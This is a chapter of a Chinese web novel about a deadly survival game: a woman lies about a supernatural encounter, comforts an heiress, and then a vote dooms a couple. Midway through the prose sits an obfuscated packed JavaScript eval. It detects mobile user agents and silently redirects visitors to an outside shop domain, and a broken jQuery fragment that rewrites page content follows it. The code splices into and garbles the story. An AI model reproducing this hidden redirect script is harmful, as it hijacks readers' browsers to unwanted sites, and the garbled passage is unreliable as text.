某种程度上,这个消息倒是冲淡了面临命运审判的压抑感。
无形之中,似乎笼罩在这片土地上的密不透风的薄膜被捅了个洞,所有人看着时安青和徐香,希望她们开口说些什么。
黑暗的洞口下有人说她们摸到了蛛丝,因此所有人都屏住呼吸,寄希望于这根‘蛛丝’能带他们逃离这。
徐香没什么好说的,看着其他人的表情,她甚至有点想笑。
一种悲哀的笑。
就算真的能和那种存在沟通,也绝非他们想的那么简单,更不可能带他们出去。
在他们心里,那种存在难道都是什么善良乐于助人的活雷锋吗?!
回忆那时的场景,她依然控制不住颤抖。
那种仿佛身上所有细胞都在沸腾,仿佛下一刻就会湮灭的恐惧,她再也不想体验第二遍了。
白语眼球疯狂颤动。
不……
不要再想了!
该死的!!不要再想了!!!
白语心率疯狂升高,她几乎想不顾一切拔腿就跑,跑!跑到哪都行!!
逃离这一切!!!
一只手攥住她的胳膊。
白语抖动的眼凝固。
这只手平平无奇,但很有力。
掌心的温度透过皮肤传递给她,烫得吓人。
白语缓缓吐出一口浊气,失焦的眼睛重新聚拢。
“怎么了?”
这句话不是徐香说的,而是吕斯年。
哪怕白语的变化只是几个瞬间,但吕斯年并没有错过。
“你们的‘和神交流’期间,发生了什么有意思的事吗?”
他饶有兴味,语气并不尖锐。
白语开不了口,她担心自己一说话,颤抖的声线就会露馅,最重要的是,她绝不允许自己表现出那种丑态。
时安青说话了。
她依旧不疾不徐,甚至带着笑意,将网络世界里发生的一切和那个存在融合在了一起。
半真半假,天衣无缝。
说话时,她没有看白语,但那只手依然稳稳地抓着她。
白语看着胳膊上的手,有片刻失神。
那几瞬,心烦意燥,她也搞不懂自己想了什么,或许是回忆的后遗症。
短暂的烦躁过后,白语终于捡回了自己的智商。
时安青的肤色比她的稍微深一点,手也更粗糙,甚至能看到中指处凸出的一块茧子。横在藕白如玉的胳膊上,没有半点美感,更衬托出两人身份的天差地别。
以白语的脾气,她应该立即甩开手。
尽管时安青确实帮了她,但那又如何?她是白氏集团未来的女总裁,是从小便拥有随心所欲的资本的白语,她讨厌肢体接触,别说甩手了,甩别人几个巴掌,那人都得赔笑来道歉。
但白语犹豫片刻,最终什么都没做。
再忍一会。
她告诉自己。
因为她现在还是有点害怕,她需要她,所以再忍一会吧。
白语顿了下,挪了挪位置,离时安青更近了些。
时安青的口才不算优秀,只能勉强算普通人水平,但她嘴里编出的谎话却很有说服力。
如果白语不是亲眼所见,大概也会信了她的鬼话。
仔细想来,确实因为她们进了网络世界后的发展实在太迅速太顺利了。
就好像,真的有什么东西帮助一样。
那段时间,她的一切行动都是按时安青的意思来,虽然不想承认这点,但她完全是在时安青的带领下完成任务的。
在那个诡异的世界里,那个人从容不迫做出了所有决定,每一个选择都完美而不出差错。
时安青或许以为她是因为誓言才愿意和她继续合作。
是,但不仅是那个原因。
世上能为她去死,能为她肝倒涂地的人又不是只有时安青一个,如果真的只是一条忠心而无价值的狗,白语可不屑原谅。
但偏偏,时安青身上有那么多想让人探究的东西。
徐香的神秘来自背后的家族,经历多年淘洗的家族哪怕深居密林,只是像一个散发腐朽气息的老者,人们会敬重它,但不会好奇它。
时安青不一样,你能感觉出她身上背负着无数秘密,沉甸甸地压在这个人身上,但她很好地驾驭着它们,甚至能感受到她偶尔泄露出的超越生死的轻松之感。
在这样一个随时可能去死的地方,所有人的神经绷到了极致,时安青这种人本身就是吸引力。
从质疑广播的那一刻起,她便成了一种能驾驭甚至打破规则的符号。
她身上一个权威的点被戳破了,但还有其他数不清的点,在你的脑袋里乱窜,让你控制不住思考,其他的也是谎言吗?如果不是谎言,世界上怎么会出现如此不可思议的人呢?
白语绝不想和这样的人成为敌人。
听完时安青的话,众人一阵感叹,尤其是白辰,掏出本子和笔,只差要跳到时安青身上问她细节了。
时安青忙站起躲开白辰,一边无可奈何回答他的问题。
“真是的——”白辰又拖长尾音,“小安青明明都这么厉害了,还能遇到这种好事,真是让人嫉妒啊——”
时安青敷衍回答几个嗯嗯,余光扫过其余人。
很好,看大家的表情,他们都被她骗了过去,除了……吕斯年。
扫到某个人时,时安青嘴角下压了几分。
不知是习惯面瘫脸还是如何,青年脸上见不到任何惊讶,皱着浓眉,明显在想些什么,与周围气氛格格不入。
不管吕斯年信没信,以时安青现在在众人心里的地位,他明着不敢来什么。
时安青心稍安,这才看向白语。
这么一看,才发现她一直握着人家的胳膊忘记松开了。
一想到大小姐的脾气,时安青像被烫到一样,飞快收回手。
“啧。”
果然!她又惹大小姐生气了!
时安青反条件想在桌下牵住白语的手来安抚。
但刚冒出这个想法,便被她一边唾弃自己一边否定了。
时安青啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617366|204712||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时安青,能不能聪明一点!女主角摆明了讨厌和你接触,你还想伸爪子,想gameover了是吗?
时安青其实想讨好地朝白语笑,但这大庭广众的,肯定会有损她的格调,想了想,还是算了。
如果大小姐还生气的话,她私下再道歉吧!
尽管众人有意逃避那个话题,但该来的总会来。
广播里出现杂音时,明华下意识看了眼身边的少女。
他运气一直很好,这次组队还和徐香姐分在了一组。
进入幻境前的晚上,白语找到他,漫不经心提了句:
“行了你小子,大家都知道你喜欢徐香,到了这个鬼地方,随时都可能没命。明天你和徐香不是难得的独处时间吗,要不趁机表白算了,也算死而无憾了。”
“可是,这样做不是很卑鄙吗?”
“哈?”
“在那样危险的地方,我如果和徐香姐告、告白的话,徐香姐考虑安全,或者只是为了让我没有遗憾,一定会答应的吧,这样做不就是趁人之危吗?我不希望我的欣喜建立在让徐香姐为难的基础上。”
白语用‘你脑子瓦特了?’的眼神看着他:“……喂,我说,你不是喜欢徐香吗?你对她的了解仅限于此?算了,当我没说,随便你喽。”
他喜欢徐香姐因为他想保护好徐香姐,不让她受半点伤,不让她为任何事难过。
这一点,是他犯起病时,脑袋里唯一清晰的念头。
所以,如果今天被投出来的人是他们这一组……如果那三分之一的概率指向了他和徐香姐,他会——他绝对会——
【铛铛铛铛!!!投票结果即将揭晓!!!让我们拭目以待,今天的幸运情侣会是哪一队呢~?】
空中浮现出数字。
第一名:明华,徐香
……
……
啊……
明华死死盯着第一排字,身边有人在说话,但他听不清了。
为什么会这样……明明身边所有人都和他说,他是一个幸运的人。
明华睁大眼,顿了很久,藏好了眼泪,才收回视线,尽量不露出狼狈的样子给徐香。
毕竟是最后一面了,不能吓到徐香姐,不能让徐香姐感到愧疚。
要让徐香姐知道,他是一个可以无所畏惧面对死亡的勇士。
得表现出更无所谓,更大大咧咧的样子才行。
明华咧开嘴,努力提着嘴角,挠了挠后脑勺:“徐香姐,我们是第一耶!”
不能让徐香姐担心。
但是看着徐香姐担忧的表情,他有点想哭了。
明华抬起手擦汗,袖子蒙蔽住视线几秒:“我才不相信广播的鬼话呢,徐香姐,我、”
声音陡然颤了几分,明华闭上嘴,沉默了。
又过了一会,他才开口:“就让我来——”
“徐香,明华。”
一声平稳、响亮的声音刺入他的耳膜。
“没事。”
他听见那个人说。
“不用怕。”